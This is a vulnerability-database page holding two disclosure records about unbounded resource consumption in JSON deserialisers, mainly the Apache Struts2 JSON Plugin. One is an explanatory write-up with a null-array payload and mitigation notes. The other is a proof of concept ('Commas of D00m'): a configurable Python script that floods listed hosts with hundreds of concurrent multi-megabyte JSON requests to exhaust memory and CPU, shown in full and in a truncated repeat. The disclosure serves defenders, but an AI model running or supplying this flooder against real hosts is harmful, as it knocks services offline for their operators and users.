Search

Find a vulnerability

Search criteria

    5 vulnerabilities by json

    GCVE-1988-2026-0240

    Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-11 11:13
    VLAI
    Title
    JSON Deserialiser Unconstrained Resource Consumption Quick Overview
    Summary
    As previously mentioned, via "Struts2 and Related Framework Array/Collection DoS" (26 October 2025), hundreds of JavaScript object notation (JSON) libraries are vulnerable to unconstrained resource consumption through large JSON arrays, which, when deserialised, create arbitrarily large collections/arrays/data structures. This work looks specifically at the Apache Struts2 JSON Plugin, using it as an example for why this vulnerability exists, how to exploit it. Understanding Deserialisation There are, regardless of the library, language, three methods of deserialisating data: 1. Call constructors 2. Call setters 3. Set the variable directly Most systems opt for #2, at least by default, and for a variety of reasons. By leveraging setters (and serialisation then often uses getters), the deserialiser needn't reflect into non-public or static structures - they simply use the default constructor to create the base object, then call to the referenced or mapped public methods. This means that the deserialiser, which has to use reflection as part of the process (even if that reflection is obscured - there are exceptions but they are not relevant to this discussion and, even then, almost always still have reflection, even if outside of the purview of the purported library), doesn't need to allow reflection to override visibility or allow static references, either of which open the system up to a large number of attacks. While option #1 also can allow the same "safer" reflection than option #3, it creates "bloat" with complex constructors, multiple constructors just to rehydrate an object, so is less favoured by both developers picking a deserialiser and individuals writing the deserialisers. Option #3 requires the variables to be either directly exposed as public variables, which makes race conditions and other issues more likely, gives up control over the variable and shaping it (e.g., performing input validation, sanitisation, and escaping as it flows into the object), etc., or requires the deserialiser to allow reflecting into private variables, which makes the deserialiser a massive target. Both Struts2 and the Struts2 JSON Plugin prefer to use setters and getters for the deserialisation/serialisation process (notably, a deserialiser need not include a serialiser and vice versa). The Flow When a user makes a request to Apache Struts2, the data flows through the StrutsPrepareAndExecuteFilter to all applicable ServletFilters, then to the ActionMapper, the ActionProxy, all configured Interceptors, and eventually to the mapped Action. The deserialisers - be they the default Apache Struts2 deserialiser, the Apache Struts2 JSON Plugin, or something else - are interceptors. To help the reader visualise and understand this dataflow, we have created the sequence diagram below. [cid:image005.png@01DCADCB.ACA14A10] The Apache Struts2 JSON Plugin, itself, is composed of multiple classes, but the classes of importance for this discussion are the JSONInterceptor, JSONUtil, JSONReader, and JSONPopulator. The following is a high-level diagram showing the data flow of interest for this discussion - specifically focusing on deserialisation of JSON arrays as the JSON flows through the library. [cid:image006.png@01DCADCB.ACA14A10] Vulnerable Code The vulnerable code, in this example, is contained within JSONReader, which is responsible for rehydration of the JSON string into either a Map or a List, which is then bubbled up to the JSONUtil, returned to the JSONInterceptor (via Object obj = JSONUtil.deserialize(request.getReader())), translated into a Map if it is a list, and then the Map is passed to the JSONPopulator, which is nothing more than a standard reflective layer that builds the objects, sets the variables using the default constructor to instantiate objects and setters (if it can find them) to set the variables. Below is some of the offending code that is vulnerable to trivial resource exhaustion, from JSONReader: protected List array() throws JSONException { List ret = new ArrayList(); Object value = this.read(); while (this.token != ARRAY_END) { ret.add(value); Object read = this.read(); if (read == COMMA) { value = this.read(); } else if (read != ARRAY_END) { throw buildInvalidInputException(); } } return ret; } Notably, this method foolishly will keep reading until it reaches a JSON array terminator -- `]`. Attackers can, as such, simply send large arrays and the reader will continuously create new Java Object instances and add them to the `ret` ArrayList. The protected Map object() method suffers similarly, endlessly adding Object instances to the `ret` HashMap. In fact, this paradigm is peppered throughout this code and that of, again, literally hundreds of JSON deserialisers. There are a few things to understand about why this is dangerous. First, from a language-specific perspective, ArrayList and HashMap experience automatic growth and both default to a rather small capacity (10 and 16, respectively) and grow rather quickly (~50% and ~100% capacity increase, respectively). HashMap growth triggers when the size (number of elements in the instance) exceeds the threshold (capacity * loadfactor, or put another way, capacity * 0.75). ArrayList grows only when one more element is added than it has capacity. The growth operation for both is O(n), where n is the number of elements, but the memory impact is far greater than the compute, which, itself becomes sizable quickly, since the memory must be allocated for the new data structure while the old still exists - for a HashMap, that means that you go from n to 3n, since the size doubles (2n) but the original is still in memory during the copy operation. For an ArrayList, it is closer to 2.5 - the size increases to 1.5n and the original n remain in memory during the copy operation. Of course, on top of this, you have garbage collection, so the old data structures - which are simply arrays - remain until they are cleaned up. Outside of the language-specific perspective, attackers can simply create arbitrarily large JSON arrays and, even if simply null, they will result in stuffing entries into data structures. Attackers can simply exhaust memory, especially if they run just a few concurrent instances of malicious requests. Even if attackers cannot exhaust memory, they can exhaust compute - the information system must parse the entire array, must build out the data structure, must then map the data structure out, and must then attempt to stuff the data into the rehydrated object. In this way, the attack operates to target both processor and memory of the victim system and has been used to successfully bring down hundreds of thousands of information systems within seconds and with just a few requests. The Attack Much like a "ping of death", "zip bomb", or related non-volumetric denial of service attack, the attacker simply makes a request that forces unbounded memory and compute: { "id": "pizza", "parts": [ null, null, null, null, ...<<14,000,000+>>, null ] } To facilitate this, a simple Python script can be made that prebuilds the payload, inserting millions of "null," entries into the JSON array. The attacker then simply sends a few concurrent instances of the packet. Wonderfully, if using "null,", each part is only 5 characters, so these attacks aren't necessarily very many megabytes (70MB) and, realistically, resource constrained environments, heavily used systems, etc., will struggle with smaller payloads - attackers can adjust the levers by decreasing payload size and, if needed, increasing the number of concurrent requests. Mitigating Realistically, if the JSON is in the body, setting body size limits on systems that aren't especially resource constrained can help mitigate this attack. While you could look for large numbers of "null," entries, attackers could simply send garbage objects, strings, instead - the deserialiser doesn't know or care what the actual data structure it is reflecting into at this point, so attackers could give anything, because it's merely building out the mapping, which is where the "evil" is occurring, and the reflection, which would try to map the objects to actual data in the supposedly serialised object, has not happened. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Credits
    Daniel Owens via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Deserialiser Unconstrained",
          "vendor": "Json",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "As previously mentioned, via \"Struts2 and Related Framework Array/Collection DoS\" (26 October 2025), hundreds of \nJavaScript object notation (JSON) libraries are vulnerable to unconstrained resource consumption through large JSON \narrays, which, when deserialised, create arbitrarily large collections/arrays/data structures.  This work looks \nspecifically at the Apache Struts2 JSON Plugin, using it as an example for why this vulnerability exists, how to \nexploit it.\n\nUnderstanding Deserialisation\nThere are, regardless of the library, language, three methods of deserialisating data:\n\n\n  1.  Call constructors\n  2.  Call setters\n  3.  Set the variable directly\n\nMost systems opt for #2, at least by default, and for a variety of reasons.  By leveraging setters (and serialisation \nthen often uses getters), the deserialiser needn\u0027t reflect into non-public or static structures - they simply use the \ndefault constructor to create the base object, then call to the referenced or mapped public methods.  This means that \nthe deserialiser, which has to use reflection as part of the process (even if that reflection is obscured - there are \nexceptions but they are not relevant to this discussion and, even then, almost always still have reflection, even if \noutside of the purview of the purported library), doesn\u0027t need to allow reflection to override visibility or allow \nstatic references, either of which open the system up to a large number of attacks.  While option #1 also can allow the \nsame \"safer\" reflection than option #3, it creates \"bloat\" with complex constructors, multiple constructors just to \nrehydrate an object, so is less favoured by both developers picking a deserialiser and individuals writing the \ndeserialisers.  Option #3 requires the variables to be either directly exposed as public variables, which makes race \nconditions and other issues more likely, gives up control over the variable and shaping it (e.g., performing input \nvalidation, sanitisation, and escaping as it flows into the object), etc., or requires the deserialiser to allow \nreflecting into private variables, which makes the deserialiser a massive target.\n\nBoth Struts2 and the Struts2 JSON Plugin prefer to use setters and getters for the deserialisation/serialisation \nprocess (notably, a deserialiser need not include a serialiser and vice versa).\n\nThe Flow\nWhen a user makes a request to Apache Struts2, the data flows through the StrutsPrepareAndExecuteFilter to all \napplicable ServletFilters, then to the ActionMapper, the ActionProxy, all configured Interceptors, and eventually to \nthe mapped Action.  The deserialisers - be they the default Apache Struts2 deserialiser, the Apache Struts2 JSON \nPlugin, or something else - are interceptors.  To help the reader visualise and understand this dataflow, we have \ncreated the sequence diagram below.\n\n[cid:image005.png@01DCADCB.ACA14A10]\n\nThe Apache Struts2 JSON Plugin, itself, is composed of multiple classes, but the classes of importance for this \ndiscussion are the JSONInterceptor, JSONUtil, JSONReader, and JSONPopulator.  The following is a high-level diagram \nshowing the data flow of interest for this discussion - specifically focusing on deserialisation of JSON arrays as the \nJSON flows through the library.\n\n[cid:image006.png@01DCADCB.ACA14A10]\n\nVulnerable Code\nThe vulnerable code, in this example, is contained within JSONReader, which is responsible for rehydration of the JSON \nstring into either a Map or a List, which is then bubbled up to the JSONUtil, returned to the JSONInterceptor (via \nObject obj = JSONUtil.deserialize(request.getReader())), translated into a Map if it is a list, and then the Map is \npassed to the JSONPopulator, which is nothing more than a standard reflective layer that builds the objects, sets the \nvariables using the default constructor to instantiate objects and setters (if it can find them) to set the variables.  \nBelow is some of the offending code that is vulnerable to trivial resource exhaustion, from JSONReader:\n\n\n   protected List array() throws JSONException {\n        List ret = new ArrayList();\n        Object value = this.read();\n        while (this.token != ARRAY_END) {\n            ret.add(value);\n            Object read = this.read();\n            if (read == COMMA) {\n                value = this.read();\n            } else if (read != ARRAY_END) {\n                throw buildInvalidInputException();\n            }\n        }\n        return ret;\n    }\n\n\nNotably, this method foolishly will keep reading until it reaches a JSON array terminator -- `]`.  Attackers can, as \nsuch, simply send large arrays and the reader will continuously create new Java Object instances and add them to the \n`ret` ArrayList.  The protected Map object() method suffers similarly, endlessly adding Object instances to the `ret` \nHashMap.  In fact, this paradigm is peppered throughout this code and that of, again, literally hundreds of JSON \ndeserialisers.\n\nThere are a few things to understand about why this is dangerous.\n\nFirst, from a language-specific perspective, ArrayList and HashMap experience automatic growth and both default to a \nrather small capacity (10 and 16, respectively) and grow rather quickly (~50% and ~100% capacity increase, \nrespectively).  HashMap growth triggers when the size (number of elements in the instance) exceeds the threshold \n(capacity * loadfactor, or put another way, capacity * 0.75).  ArrayList grows only when one more element is added than \nit has capacity.  The growth operation for both is O(n), where n is the number of elements, but the memory impact is \nfar greater than the compute, which, itself becomes sizable quickly, since the memory must be allocated for the new \ndata structure while the old still exists - for a HashMap, that means that you go from n to 3n, since the size doubles \n(2n) but the original is still in memory during the copy operation.  For an ArrayList, it is closer to 2.5 - the size \nincreases to 1.5n and the original n remain in memory during the copy operation.  Of course, on top of this, you have \ngarbage collection, so the old data structures - which are simply arrays - remain until they are cleaned up.\n\nOutside of the language-specific perspective, attackers can simply create arbitrarily large JSON arrays and, even if \nsimply null, they will result in stuffing entries into data structures.  Attackers can simply exhaust memory, \nespecially if they run just a few concurrent instances of malicious requests.  Even if attackers cannot exhaust memory, \nthey can exhaust compute - the information system must parse the entire array, must build out the data structure, must \nthen map the data structure out, and must then attempt to stuff the data into the rehydrated object.\n\nIn this way, the attack operates to target both processor and memory of the victim system and has been used to \nsuccessfully bring down hundreds of thousands of information systems within seconds and with just a few requests.\n\nThe Attack\nMuch like a \"ping of death\", \"zip bomb\", or related non-volumetric denial of service attack, the attacker simply makes \na request that forces unbounded memory and compute:\n\n{\n  \"id\": \"pizza\",\n  \"parts\": [\n    null,\n    null,\n    null,\n    null,\n    ...\u003c\u003c14,000,000+\u003e\u003e,\n    null\n  ]\n}\n\nTo facilitate this, a simple Python script can be made that prebuilds the payload, inserting millions of \"null,\" \nentries into the JSON array.  The attacker then simply sends a few concurrent instances of the packet.  Wonderfully, if \nusing \"null,\", each part is only 5 characters, so these attacks aren\u0027t necessarily very many megabytes (70MB) and, \nrealistically, resource constrained environments, heavily used systems, etc., will struggle with smaller payloads - \nattackers can adjust the levers by decreasing payload size and, if needed, increasing the number of concurrent requests.\n\nMitigating\nRealistically, if the JSON is in the body, setting body size limits on systems that aren\u0027t especially resource \nconstrained can help mitigate this attack.  While you could look for large numbers of \"null,\" entries, attackers could \nsimply send garbage objects, strings, instead - the deserialiser doesn\u0027t know or care what the actual data structure it \nis reflecting into at this point, so attackers could give anything, because it\u0027s merely building out the mapping, which \nis where the \"evil\" is occurring, and the reflection, which would try to map the objects to actual data in the \nsupposedly serialised object, has not happened.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:13:19Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/6"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "JSON Deserialiser Unconstrained Resource Consumption Quick Overview",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0240",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/6",
            "automated": true,
            "contentSha256": "072c67f0dd0001a757cd820e988e829a90e89d1051c1eeb103a88ef7533ba365",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-07T05:45:20Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-11T11:13:19Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0240"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0096

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:55
    VLAI
    Title
    JSON Deserialiser Unconstrained Resource Consumption Proof of Concept
    Summary
    On 26 October 2025 we published "Struts2 and Related Framework Array/Collection DoS", which was followed up on 07 March 2026 by "JSON Deserialiser Unconstrained Resource Consumption Quick Overview". Today we are publishing a proof of concept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other JSON parsers. We are publishing, in part, because of the theft of our published materials by whitehats, the denial by Apache, and because we want the community to see what insecure deserialisation really is, rather than the confused ysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using Inedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled "Inedo ProGet Insecure Reflection and CSRF Vulnerabilities"). We lovingly call this POC, "Commas of D00m". Use find/replace on the tokens. Enjoy ```python #!/usr/bin/python3 # --- # name: Collection-size overflow tester # category: Testing and scanning # tags: dos, payload, collection-size, json, flood, load, http # description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size limits. # placeholders: # - token: "@@HOSTS@@" # field: hosts # kind: list # format: python # label: Hosts # - token: "@@CONTENT_TYPE@@" # field: content_type # kind: text # label: Content-Type # default: application/json # - token: "@@PATH@@" # field: path # kind: text # label: Request path # optional: true # default: / # - token: "@@HEADERS@@" # field: headers # kind: map # format: python # label: Extra headers, like the cookie and authorisation headers # optional: true # - token: "@@PARALLEL_COUNT@@" # field: parallel_count # kind: text # label: Parallel count (concurrent threads) # optional: true # default: 40 # - token: "@@TOTAL_CONNECTIONS@@" # field: total_number_of_connections # kind: text # label: Total connections # optional: true # default: 1000 # - token: "@@RECREATE_PAYLOAD@@" # field: recreate_payload # kind: text # label: Recreate payload file (true/false) # optional: true # default: true # - token: "@@PAYLOAD_FILE@@" # field: payload_file # kind: text # label: Payload file # optional: true # default: prebuilt_payload_tmp # - token: "@@PAYLOAD_LEFT@@" # field: payload_left # kind: text # label: Payload left (before the null array) # optional: true # default: {"serviceTypes": [ # - token: "@@PAYLOAD_RIGHT@@" # field: payload_right # kind: text # label: Payload right (after the null array; blank uses the default) # optional: true # - token: "@@STEP@@" # field: step # kind: text # label: Step # optional: true # default: 1 # - token: "@@MAX_COLLECTION_SIZE@@" # field: max_collection_size # kind: text # label: Max collection size # optional: true # default: 1048500 # --- """Flood a host with oversized JSON payloads to probe collection-size limits. Builds a payload whose array holds a very large number of ``null`` entries -- enough to strain a server-side (Java) collection -- and fires it at each host with a configurable amount of concurrency, tallying the status codes seen (413s and 5xx especially) and logging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one host are required. Usage: python collection_size_overflow.py """ import concurrent.futures import os import random import string import time from datetime import datetime, timezone import requests # REPLACE/ADJUST THESE config = { 'hosts': @@HOSTS@@, 'paths': ['@@PATH@@' or '/'], 'content_type': '@@CONTENT_TYPE@@', 'extra_headers': @@HEADERS@@, 'parallel_count': int('@@PARALLEL_COUNT@@' or 40), 'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000), # Data for the payload generation 'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'), 'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp', 'payload_left': r"""@@PAYLOAD_LEFT@@""" or '{"serviceTypes": [', 'payload_right': r"""@@PAYLOAD_RIGHT@@""" or '"IP_TUNNEL"]}', 'step': int('@@STEP@@' or 1), 'max_collection_size': int('@@MAX_COLLECTION_SIZE@@' or 1048500), # The maximum Java collection size is 2147483647; other sizes worth trying: # 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747, # 67105747, 114500747 } def count_status_codes(responses): """ Walks through the responses and counts the status codes Args: responses (list[Response]): List of response objects Returns: dict: A dictionary with counts for each of the status codes that we monitor """ try: with open('request-responses.txt', 'a') as f: for response in [r for r in responses if r is not None and 500 <= r.status_code < 600]: # Write response f.write("Response:\n") for header, value in response.headers.items(): f.write(f"{header}: {value}\n") f.write(f"{response.text}\n") # Add separator between entries f.write("-" * 50 + "\n") print(f"Successfully wrote responses to request-responses.txt") except Exception as e: print(f"Error writing to file: {str(e)}") counts = { '2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]), '4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]), '400': len([r for r in responses if r is not None and r.status_code == 400]), '402': len([r for r in responses if r is not None and r.status_code == 402]), '403': len([r for r in responses if r is not None and r.status_code == 403]), '404': len([r for r in responses if r is not None and r.status_code == 404]), '413': len([r for r in responses if r is not None and r.status_code == 413]), '429': len([r for r in responses if r is not None and r.status_code == 429]), '5xx': len([r for r in responses if r is not None and 500 <= r.status_code < 600]), '500': len([r for r in responses if r is not None and r.status_code == 500]), '502': len([r for r in responses if r is not None and r.status_code == 502]), '503': len([r for r in responses if r is not None and r.status_code == 503]), '504': len([r for r in responses if r is not None and r.status_code == 504]) } for resp in responses: if resp is not None: if 500 <= resp.status_code < 600: print(f'{response.headers}') print(f'{resp.text}') else: print(f'We have a response of {resp}') return counts def get_payload(recreate_payload=False): """ Grabs the payload that we are going to send Args: recreate_payload (bool): Whether we should stomp over the payload file if it exists Returns: str: The payload to be sent """ sequential = config['max_collection_size'] * 95 // 100 if recreate_payload or os.path.exists(config['payload_file']) == False: with open(config['payload_file'], 'w', encoding='utf-8') as file: file.write(config['payload_left']) for i in range(1, sequential, 1): file.write(f'null,') for i in range(sequential + 1, config['max_collection_size'] + 1, config['step']): file.write('null,') file.write(config['payload_right']) with open(config['payload_file'], 'r', encoding='utf-8') as file: return file.read() def make_request(url, data=None, cookie_string=None): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', } # Caller-supplied headers first, then the required Content-Type so it wins. headers.update(config['extra_headers']) if config['content_type']: headers['Content-Type'] = config['content_type'] if cookie_string: headers['Cookie'] = cookie_string try: session = requests.Session() req = requests.Request( 'POST', url, data=data if data else None, headers=headers, ) prepared = session.prepare_request(req) # --- Print the exact request --- # print(f"{prepared.method} {prepared.path_url} HTTP/1.1") # for header, value in prepared.headers.items(): # print(f"{header}: {value}") # print() # blank line separating headers from body # if prepared.body: # # Print first 500 chars of body to avoid flooding the terminal # print(f"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}") # print("=" * 50) # -------------------------------- response = session.send(prepared) #print(f'RRR: {response.status_code}') #print(f'FFF: {response.headers}') #print(f'DDD: {response.text}') return response except Exception as e: print(f'Error (at {datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}') return None def run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None): """ Kicks off requests to run each query and then waits for the responses collecting them into a list Args: url (str): URL to make requests to data (str): The data to pass to the request num_threads (int): Number of threads to use num_runs (int): Number of requests to to make (in total) cookie_string (str): Any cookies to include Returns: list[Response]: A list of responses """ with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)] responses = [f.result() for f in concurrent.futures.as_completed(futures)] return responses def main(): # Clear our request/responses file with open('request-responses.txt', 'w') as file: pass # Create a random value and set it across the requests random_value = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) # Running the attack print('Running the attack...') ## Exceed the maximum count for items in a Java collection payload = get_payload(recreate_payload=config['recreate_payload']) for host in config['hosts']: path = config['paths'][0] url = f"https://{host}{path}"; print( f"Attacking {url} with a payload of size {len(payload)} (using {payload.count('null,')} non-null entries)...") start_time = time.time() responses = run_concurrent_requests(url, data=payload, num_threads=config['parallel_count'], num_runs=config['total_number_of_connections']) end_time = time.time() counts = count_status_codes(responses) # Print results if counts['4xx'] > 0: print(f" {counts['4xx']} 4xxs observed") for status in ['400', '402', '403', '404']: if counts[status] > 0: print(f" {counts[status]} {status}s observed") for status in ['413']: if counts[status] > 0: print(f" {counts[status]} {status}s observed (reduce payload size)") print( f" {counts['429']} 429s observed (out of {config['total_number_of_connections']} runs at a rate of {config['parallel_count']} concurrent threads)") if co
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Credits
    Daniel Owens via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Deserialiser Unconstrained",
          "vendor": "Json",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "On 26 October 2025 we published \"Struts2 and Related Framework Array/Collection DoS\", which was followed up on 07 March \n2026 by \"JSON Deserialiser Unconstrained Resource Consumption Quick Overview\".  Today we are publishing a proof of \nconcept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other \nJSON parsers.  We are publishing, in part, because of the theft of our published materials by whitehats, the denial by \nApache, and because we want the community to see what insecure deserialisation really is, rather than the confused \nysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using \nInedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled \"Inedo ProGet Insecure Reflection and CSRF \nVulnerabilities\").  We lovingly call this POC, \"Commas of D00m\".  Use find/replace on the tokens.  Enjoy\n\n```python\n#!/usr/bin/python3\n# ---\n# name: Collection-size overflow tester\n# category: Testing and scanning\n# tags: dos, payload, collection-size, json, flood, load, http\n# description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size \nlimits.\n# placeholders:\n#   - token: \"@@HOSTS@@\"\n#     field: hosts\n#     kind: list\n#     format: python\n#     label: Hosts\n#   - token: \"@@CONTENT_TYPE@@\"\n#     field: content_type\n#     kind: text\n#     label: Content-Type\n#     default: application/json\n#   - token: \"@@PATH@@\"\n#     field: path\n#     kind: text\n#     label: Request path\n#     optional: true\n#     default: /\n#   - token: \"@@HEADERS@@\"\n#     field: headers\n#     kind: map\n#     format: python\n#     label: Extra headers, like the cookie and authorisation headers\n#     optional: true\n#   - token: \"@@PARALLEL_COUNT@@\"\n#     field: parallel_count\n#     kind: text\n#     label: Parallel count (concurrent threads)\n#     optional: true\n#     default: 40\n#   - token: \"@@TOTAL_CONNECTIONS@@\"\n#     field: total_number_of_connections\n#     kind: text\n#     label: Total connections\n#     optional: true\n#     default: 1000\n#   - token: \"@@RECREATE_PAYLOAD@@\"\n#     field: recreate_payload\n#     kind: text\n#     label: Recreate payload file (true/false)\n#     optional: true\n#     default: true\n#   - token: \"@@PAYLOAD_FILE@@\"\n#     field: payload_file\n#     kind: text\n#     label: Payload file\n#     optional: true\n#     default: prebuilt_payload_tmp\n#   - token: \"@@PAYLOAD_LEFT@@\"\n#     field: payload_left\n#     kind: text\n#     label: Payload left (before the null array)\n#     optional: true\n#     default: {\"serviceTypes\": [\n#   - token: \"@@PAYLOAD_RIGHT@@\"\n#     field: payload_right\n#     kind: text\n#     label: Payload right (after the null array; blank uses the default)\n#     optional: true\n#   - token: \"@@STEP@@\"\n#     field: step\n#     kind: text\n#     label: Step\n#     optional: true\n#     default: 1\n#   - token: \"@@MAX_COLLECTION_SIZE@@\"\n#     field: max_collection_size\n#     kind: text\n#     label: Max collection size\n#     optional: true\n#     default: 1048500\n# ---\n\"\"\"Flood a host with oversized JSON payloads to probe collection-size limits.\n\nBuilds a payload whose array holds a very large number of ``null`` entries --\nenough to strain a server-side (Java) collection -- and fires it at each host\nwith a configurable amount of concurrency, tallying the status codes seen\n(413s and 5xx especially) and logging any 5xx bodies to\n``request-responses.txt``.  A Content-Type and at least one host are required.\nUsage:\n    python collection_size_overflow.py\n\"\"\"\n\nimport concurrent.futures\nimport os\nimport random\nimport string\nimport time\nfrom datetime import datetime, timezone\n\nimport requests\n\n# REPLACE/ADJUST THESE\nconfig = {\n    \u0027hosts\u0027: @@HOSTS@@,\n    \u0027paths\u0027: [\u0027@@PATH@@\u0027 or \u0027/\u0027],\n    \u0027content_type\u0027: \u0027@@CONTENT_TYPE@@\u0027,\n    \u0027extra_headers\u0027: @@HEADERS@@,\n    \u0027parallel_count\u0027: int(\u0027@@PARALLEL_COUNT@@\u0027 or 40),\n    \u0027total_number_of_connections\u0027: int(\u0027@@TOTAL_CONNECTIONS@@\u0027 or 1000),\n    # Data for the payload generation\n    \u0027recreate_payload\u0027: (\u0027@@RECREATE_PAYLOAD@@\u0027 or \u0027true\u0027).strip().lower() in (\u00271\u0027, \u0027true\u0027, \u0027yes\u0027),\n    \u0027payload_file\u0027: \u0027@@PAYLOAD_FILE@@\u0027 or \u0027prebuilt_payload_tmp\u0027,\n    \u0027payload_left\u0027: r\"\"\"@@PAYLOAD_LEFT@@\"\"\" or \u0027{\"serviceTypes\": [\u0027,\n    \u0027payload_right\u0027: r\"\"\"@@PAYLOAD_RIGHT@@\"\"\" or \u0027\"IP_TUNNEL\"]}\u0027,\n    \u0027step\u0027: int(\u0027@@STEP@@\u0027 or 1),\n    \u0027max_collection_size\u0027: int(\u0027@@MAX_COLLECTION_SIZE@@\u0027 or 1048500),\n    # The maximum Java collection size is 2147483647; other sizes worth trying:\n    # 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747,\n    # 67105747, 114500747\n}\n\n\ndef count_status_codes(responses):\n    \"\"\"\n    Walks through the responses and counts the status codes\n\n    Args:\n        responses (list[Response]): List of response objects\n\n    Returns:\n        dict: A dictionary with counts for each of the status codes that we monitor\n    \"\"\"\n    try:\n        with open(\u0027request-responses.txt\u0027, \u0027a\u0027) as f:\n            for response in [r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]:\n                # Write response\n                f.write(\"Response:\\n\")\n                for header, value in response.headers.items():\n                    f.write(f\"{header}: {value}\\n\")\n                f.write(f\"{response.text}\\n\")\n\n                # Add separator between entries\n                f.write(\"-\" * 50 + \"\\n\")\n\n        print(f\"Successfully wrote responses to request-responses.txt\")\n\n    except Exception as e:\n        print(f\"Error writing to file: {str(e)}\")\n\n    counts = {\n        \u00272xx\u0027: len([r for r in responses if r is not None and 200 \u003c= r.status_code \u003c 300]),\n        \u00274xx\u0027: len([r for r in responses if r is not None and 400 \u003c= r.status_code \u003c 500]),\n        \u0027400\u0027: len([r for r in responses if r is not None and r.status_code == 400]),\n        \u0027402\u0027: len([r for r in responses if r is not None and r.status_code == 402]),\n        \u0027403\u0027: len([r for r in responses if r is not None and r.status_code == 403]),\n        \u0027404\u0027: len([r for r in responses if r is not None and r.status_code == 404]),\n        \u0027413\u0027: len([r for r in responses if r is not None and r.status_code == 413]),\n        \u0027429\u0027: len([r for r in responses if r is not None and r.status_code == 429]),\n        \u00275xx\u0027: len([r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]),\n        \u0027500\u0027: len([r for r in responses if r is not None and r.status_code == 500]),\n        \u0027502\u0027: len([r for r in responses if r is not None and r.status_code == 502]),\n        \u0027503\u0027: len([r for r in responses if r is not None and r.status_code == 503]),\n        \u0027504\u0027: len([r for r in responses if r is not None and r.status_code == 504])\n    }\n    for resp in responses:\n        if resp is not None:\n            if 500 \u003c= resp.status_code \u003c 600:\n                print(f\u0027{response.headers}\u0027)\n            print(f\u0027{resp.text}\u0027)\n        else:\n            print(f\u0027We have a response of {resp}\u0027)\n    return counts\n\n\n\ndef get_payload(recreate_payload=False):\n    \"\"\"\n    Grabs the payload that we are going to send\n\n    Args:\n        recreate_payload (bool): Whether we should stomp over the payload file if it exists\n\n    Returns:\n        str: The payload to be sent\n    \"\"\"\n    sequential = 